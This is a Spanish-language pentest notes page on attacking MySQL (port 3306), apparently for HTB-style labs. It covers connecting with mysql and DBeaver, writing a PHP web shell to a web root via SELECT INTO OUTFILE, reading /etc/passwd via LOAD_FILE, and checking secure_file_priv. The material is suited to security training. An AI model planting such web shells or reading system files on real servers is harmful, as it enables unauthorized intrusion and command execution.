🪬
Gzzcoo Pentest Notes
HomeWalkthroughs
  • Home
  • ACTIVE DIRECTORY PENTESTING
    • Initial Enumeration
      • Enumerating users
    • Abusing Active Directory ACLs/ACEs
      • Shadow Credentials
      • GenericWrite
      • ForceChangePassword
    • Active Directory Certificate Services (ADCS)
    • Attacking Kerberos
    • BloodHound
    • Tools
      • bloodyAD
      • Kerbrute
      • Impacket
      • ldapsearch
      • PowerView.py
  • WINDOWS PENTESTING
    • Windows Privilege Escalation
      • Abusing Tokens
      • AD Recycle Bin Group
      • DnsAdmins to DomainAdmin
      • Dumping credentials
        • Credential Hunting
        • LSASS
        • NTDS.dit
        • SAM and SYSTEM
      • Server Operators Group
  • Windows Lateral Movement
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
      • From Windows
      • From Linux
    • Pass the Cert (PtC)
  • File Transfer
    • PowerShell
    • Remote Desktop Protocol (RDP)
    • LOLBAS
    • Protected File Transfers
    • Catching Files over HTTP/S
    • Detection and Evading Detection
  • Reverse Shell
  • PowerShell
  • LINUX PENTESTING
    • Basic Enumeration
    • Linux Privilege Escalation
  • File Transfer
    • Protected File Transfers
    • Catching Files over HTTP/S
    • GTFOBins
  • Shells
  • Reverse Shell
  • Credential Hunting
  • Passwd, Shadow & Opasswd
  • NETWORK SERVICES PENTESTING
    • FTP Port (21)
    • SSH Port (22)
    • DNS Port (53)
    • SMB Port (139, 445)
    • MSSQL Port (1433)
    • MySQL Port (3306)
    • RDP Port (3389)
  • PostgreSQL Port (5432, 5433)
  • Attacking Email Services
  • Pivoting, Tunneling and Port Forwarding
  • WEB PENTESTING
    • Local File Inclusion (LFI)
  • LaTeX Injection
  • Cypher Injection
  • Cross-Site Scripting (XSS)
  • TOOLS
    • John The Ripper
    • NetExec
    • Smbmap
    • Evil-WinRM
  • REVERSING
    • Windows executables and DLL's
    • Android APK
Con tecnología de GitBook
LogoLogo

© 2025 Gzzcoo Corp.

En esta página
  • Connecting to database
  • MySQL
  • DBeaver
  • Write Local Files
  • Read Local Files
  • Secure File Privileges

¿Te fue útil?

Exportar como PDF
  1. NETWORK SERVICES PENTESTING

MySQL Port (3306)

AnteriorMSSQL Port (1433)SiguienteRDP Port (3389)

Última actualización hace 2 meses

¿Te fue útil?

Connecting to database

Tools to Interact with MySQL

  • dbeaver

  • MySQL Workbench

MySQL

Para interactuar con MySQL, podemos usar los binarios de MySQL para Linux (mysql) o Windows (mysql.exe). MySQL viene preinstalado en algunas distribuciones de Linux, pero también podemos instalar los binarios manualmente siguiendo una guía específica.

Iniciar una sesión SQL interactiva en Linux:

gzzcoo@htb[/htb]$ mysql -h 10.129.20.13 -u username -p'Password123'

Iniciar una sesión SQL interactiva en Windows:

C:\htb> mysql.exe -u username -pPassword123 -h 10.129.20.13

DBeaver

Install DBeaver

Para instalar dbeaver usando un paquete Debian podemos descargar el paquete release .deb desde y ejecutar el siguiente comando:

gzzcoo@htb[/htb]$ sudo dpkg -i dbeaver-<version>.deb

Run DBeaver

Para iniciar la aplicación utilice:

gzzcoo@htb[/htb]$ dbeaver & disown 2>/dev/null

Video - Connecting to MySQL DB using dbeaver


Write Local Files

MySQL no tiene un procedimiento almacenado como xp_cmdshell, pero podemos lograr la ejecución de comandos si escribimos en una ubicación del sistema de archivos que pueda ejecutar nuestros comandos. Por ejemplo, supongamos que MySQL se ejecuta en un servidor web basado en PHP u otros lenguajes como ASP.NET. Si tenemos los privilegios adecuados, podemos intentar escribir un archivo usando SELECT INTO OUTFILE en el directorio del servidor web. Luego, podemos navegar hasta la ubicación del archivo y ejecutar nuestros comandos.

mysql> SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE '/var/www/html/webshell.php';

Query OK, 1 row affected (0.001 sec)

Read Local Files

Como mencionamos anteriormente, por defecto una instalación de MySQL no permite la lectura arbitraria de archivos, pero si la configuración es la adecuada y contamos con los privilegios necesarios, podemos leer archivos utilizando los siguientes métodos:

mysql> select LOAD_FILE("/etc/passwd");

+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

<SNIP>

Secure File Privileges

En MySQL, una variable de sistema global llamada secure_file_priv limita el efecto de las operaciones de importación y exportación de datos, como las realizadas por las sentencias LOAD DATA y SELECT … INTO OUTFILE, así como por la función LOAD_FILE(). Estas operaciones solo están permitidas para los usuarios que tengan el privilegio FILE.

secure_file_priv puede configurarse de las siguientes maneras:

  • Si está vacía, la variable no tiene efecto, lo cual no es una configuración segura.

  • Si está configurada con el nombre de un directorio, el servidor limita las operaciones de importación y exportación solo a ese directorio. El directorio debe existir; el servidor no lo crea automáticamente.

  • Si está configurada como NULL, el servidor desactiva completamente las operaciones de importación y exportación.

En el siguiente ejemplo, podemos ver que la variable secure_file_priv está vacía, lo que significa que podemos leer y escribir datos usando MySQL:

mysql> show variables like "secure_file_priv";

+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

1 row in set (0.005 sec)
https://github.com/dbeaver/dbeaver/releases